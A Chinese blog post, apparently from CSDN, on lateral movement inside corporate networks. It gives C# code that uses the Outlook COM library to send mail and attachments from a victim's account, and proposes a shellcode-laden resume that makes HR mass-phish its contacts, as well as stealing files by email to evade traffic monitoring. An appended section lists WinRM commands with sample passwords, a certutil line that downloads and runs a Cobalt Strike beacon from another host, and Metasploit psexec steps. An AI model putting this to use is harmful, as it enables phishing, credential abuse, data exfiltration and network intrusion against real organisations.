企业内网渗透横向攻击的一种思路

本文介绍了一种利用Outlook COM库发送邮件的技术,详细展示了如何使用C#调用Outlook COM库发送带附件的邮件,以及如何利用此技术进行大规模钓鱼邮件攻击。文章还探讨了两种潜在的攻击思路,包括通过HR发送带有恶意代码的简历附件,以及通过邮件回传数据绕过流量监控。

以前老东家有个员工不小心点开了Emotet木马,不久后,全体员工收到了一封带有病毒附件的钓鱼邮件,发件人账号正式该员工的邮件账户。

最近在看Black Hat USA 2019大会 第一天的PPT,其中一篇主题《us-19-Joly-Hunting-For-Bugs-Catching-Dragons.pdf》

里面介绍了使用C#调用Outlook的COM库,并以当前登陆邮件账户,给指定邮箱发送邮件。

首先使用vs2013创建一个c# 控制台程序,然后添加引用outlook提供的com对象。

具体操作参考微软官方文档:https://support.microsoft.com/en-hk/help/310258/how-to-use-the-microsoft-outlook-object-library-to-retrieve-a-message

Program.cs代码:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using Outlook = Microsoft.Office.Interop.Outlook;
using Microsoft.Office.Interop.Outlook;
namespace HBDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            var objOutlook = new Outlook.Application();
            var accounts = objOutlook.Session.Accounts;
            MailItem mic = (MailItem)(objOutlook.CreateItem(OlItemType.olMailItem));
            mic.RTFBody = System.IO.File.ReadAllBytes(@"d:\test.rtf");
            mic.Subject = "Important Email";
            mic.Importance = OlImportance.olImportanceHigh;
            mic.Attachments.Add(@"d:\test2.docx", OlAttachmentType.olOLE);
            mic.MessageClass = "IPM.Document.Outlook.File.msg.15";
            mic.To = "xxx@qq.com";
            mic.Send();
        }
    }
}

以上代码运行后,会给指定的xxx@qq.com邮箱发送一封带附件的邮件。

使用以下代码,可以给当前outlook账户下所有联系人发送邮件

   // 给Outlook账户下所有联系人发送邮件
         foreach(Account ac in accounts)
        {
             mic.SendUsingAccount = ac;
        }

利用思路有两种:

1) 给HR发送一封简历附件,打开后自动执行shellcode,调用outlook的com对象,借用hr的邮箱账户给hr的所有联系人群发一封诱惑性标题的钓鱼邮件。

2) 回传数据,发送邮件时可以指定一个附件路径。 目标执行我们的程序后,可以把特定文件通过outlook邮件的方法传到黑客指定的接收邮箱,可以避免一些流量监控软件。

参考资料:
https://docs.microsoft.com/en-us/office/vba/api/outlook.mailitem.sendusingaccount
https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.outlook.mailitem

Blackhat USA 2019第一天PPT汇总:
链接:https://pan.baidu.com/s/1mX2Y0x5wQLjvBA9W0_4iTA
提取码:bcg5

内网横向移动是指攻击者在成功入侵一台内网主机后,以此为跳板,进一步渗透到内网其他主机的过程。以下是一些常见的方法及思路: ### 利用NTLM Relay攻击 NTLM Relay攻击一种在内网横向移动中较为有效的方法,可以直接控制域内主机,包括在远程服务器上执行命令、上传exe到远程主机上执行、dump服务器的用户hash等[^2]。 ### 基于WinRM服务的攻击 WinRM指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)& 5986 (HTTPS),在2012以后默认开启。可使用如下命令进行操作: ```plaintext winrs -r:http://10.1.1.1:5985 -u:administrator -p:abc123! "whoami /all" ``` 在实际的内网横向移动中,还可以结合其他操作,如探针、连接执行、上线CS&MSF等。例如: ```plaintext # 探针:cs内置端口扫描5985 # 连接执行 winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "whoami" winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 "whoami" # 上线CS&MSF winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe beacon.exe & beacon.exe" ``` ### 使用Metasploit框架 使用Metasploit框架中的psexec模块进行内网横向移动,示例命令如下: ```plaintext msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp msf6 exploit(windows/smb/psexec) > set smbuser user.txt msf6 exploit(windows/smb/psexec) > set smbpass password.txt msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.0/24 msf6 exploit(windows/smb/psexec) > run ``` ### Kerberoast攻击 Kerberoast攻击也是内网横向移动中可利用的方法之一,可结合其他操作进行使用[^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值